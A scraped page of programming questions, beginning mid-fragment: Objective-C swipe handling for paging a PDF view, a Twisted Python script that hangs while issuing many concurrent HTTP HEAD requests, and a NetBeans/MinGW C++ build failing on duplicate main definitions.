withEvent:(UIEvent *)event { UITouch *touch = [touches anyObject]; CGPoint currentPosition = [touch locationInView:self]; CGFloat deltaX = fabsf(gestureStartPoint.x - currentPosition.x); CGFloat deltaY = fabsf(gestureStartPoint.y - currentPosition.y); if (deltaX >= kMinimumGestureLength && deltaY <= kMaximumVariance) { [self nacrtajNovuStranicu:(CGContextRef)UIGraphicsGetCurrentContext()]; } } The code sits in UIView which displays the PDF content, perhaps I should place it into UIScrollView or is the "display next page" code wrong?

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  • Annoying Twisted Python problem

    - by Kalmi
    I'm trying to answer the following question out of personal interest: What is the fastest way to send 100,000 HTTP requests in Python? And this is what I have came up so far, but I'm experiencing something very stange. When installSignalHandlers is True, it just hangs. I can see that the DelayedCall instances are in reactor._newTimedCalls, but processResponse never gets called. When installSignalHandlers is False, it throws an error and works. from twisted.internet import reactor from twisted.web.client import Agent from threading import Semaphore, Thread import time concurrent = 100 s = Semaphore(concurrent) reactor.suggestThreadPoolSize(concurrent) t=Thread( target=reactor.run, kwargs={'installSignalHandlers':True}) t.daemon=True t.start() agent = Agent(reactor) def processResponse(response,url): print response.code, url s.release() def processError(response,url): print "error", url s.release() def addTask(url): req = agent.request('HEAD', url) req.addCallback(processResponse, url) req.addErrback(processError, url) for url in open('urllist.txt'): addTask(url.strip()) s.acquire() while s._Semaphore__value!=concurrent: time.sleep(0.1) reactor.stop() And here is the error that it throws when installSignalHandlers is True: (Note: This is the expected behaviour! The question is why it doesn't work when installSignalHandlers is False.) Traceback (most recent call last): File "/usr/lib/python2.6/dist-packages/twisted/internet/base.py", line 396, in fireEvent DeferredList(beforeResults).addCallback(self._continueFiring) File "/usr/lib/python2.6/dist-packages/twisted/internet/defer.py", line 224, in addCallback callbackKeywords=kw) File "/usr/lib/python2.6/dist-packages/twisted/internet/defer.py", line 213, in addCallbacks self._runCallbacks() File "/usr/lib/python2.6/dist-packages/twisted/internet/defer.py", line 371, in _runCallbacks self.result = callback(self.result, *args, **kw) --- <exception caught here> --- File "/usr/lib/python2.6/dist-packages/twisted/internet/base.py", line 409, in _continueFiring callable(*args, **kwargs) File "/usr/lib/python2.6/dist-packages/twisted/internet/base.py", line 1165, in _reallyStartRunning self._handleSignals() File "/usr/lib/python2.6/dist-packages/twisted/internet/base.py", line 1105, in _handleSignals signal.signal(signal.SIGINT, self.sigInt) exceptions.ValueError: signal only works in main thread What am I doing wrong and what is the right way? I'm new to twisted.

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  • Compiling cpp code in netbeans produce errors, how to solve it ?

    - by Rupertt Wind
    i use the netbeans with MinGW and MYSY make /debugger but when i compile a basic cpp code in it and run it it produces two erorrs this is the code runned and the output![alt text][1] box #include <iostream> void main() { cout << "Hello World!" << endl; cout << "Welcome to C++ Programming" << endl; } output is /usr/bin/make -f nbproject/Makefile-Debug.mk SUBPROJECTS= .build-conf make[1]: Entering directory `/d/Users/Home/Documents/NetBeansProjects/newApp' /usr/bin/make -f nbproject/Makefile-Debug.mk dist/Debug/MinGW-Windows/newapp.exe make[2]: Entering directory `/d/Users/Home/Documents/NetBeansProjects/newApp' mkdir -p dist/Debug/MinGW-Windows g++.exe -o dist/Debug/MinGW-Windows/newapp build/Debug/MinGW-Windows/newmain.o build/Debug/MinGW-Windows/newfile.o build/Debug/MinGW-Windows/main.o build/Debug/MinGW-Windows/newfile.o: In function `main': D:/Users/Home/Documents/NetBeansProjects/newApp/newfile.cpp:5: multiple definition of `main' build/Debug/MinGW-Windows/newmain.o:D:/Users/Home/Documents/NetBeansProjects/newApp/newmain.c:15: first defined here build/Debug/MinGW-Windows/main.o: In function `main': D:/Users/Home/Documents/NetBeansProjects/newApp/main.cpp:13: multiple definition of `main' build/Debug/MinGW-Windows/newmain.o:D:/Users/Home/Documents/NetBeansProjects/newApp/newmain.c:15: first defined here collect2: ld returned 1 exit status make[2]: *** [dist/Debug/MinGW-Windows/newapp.exe] Error 1 make[2]: Leaving directory `/d/Users/Home/Documents/NetBeansProjects/newApp' make[1]: *** [.build-conf] Error 2 make[1]: Leaving directory `/d/Users/Home/Documents/NetBeansProjects/newApp' make: *** [.build-impl] Error 2 BUILD FAILED (exit value 2, total time: 1s) how can i solve this ?

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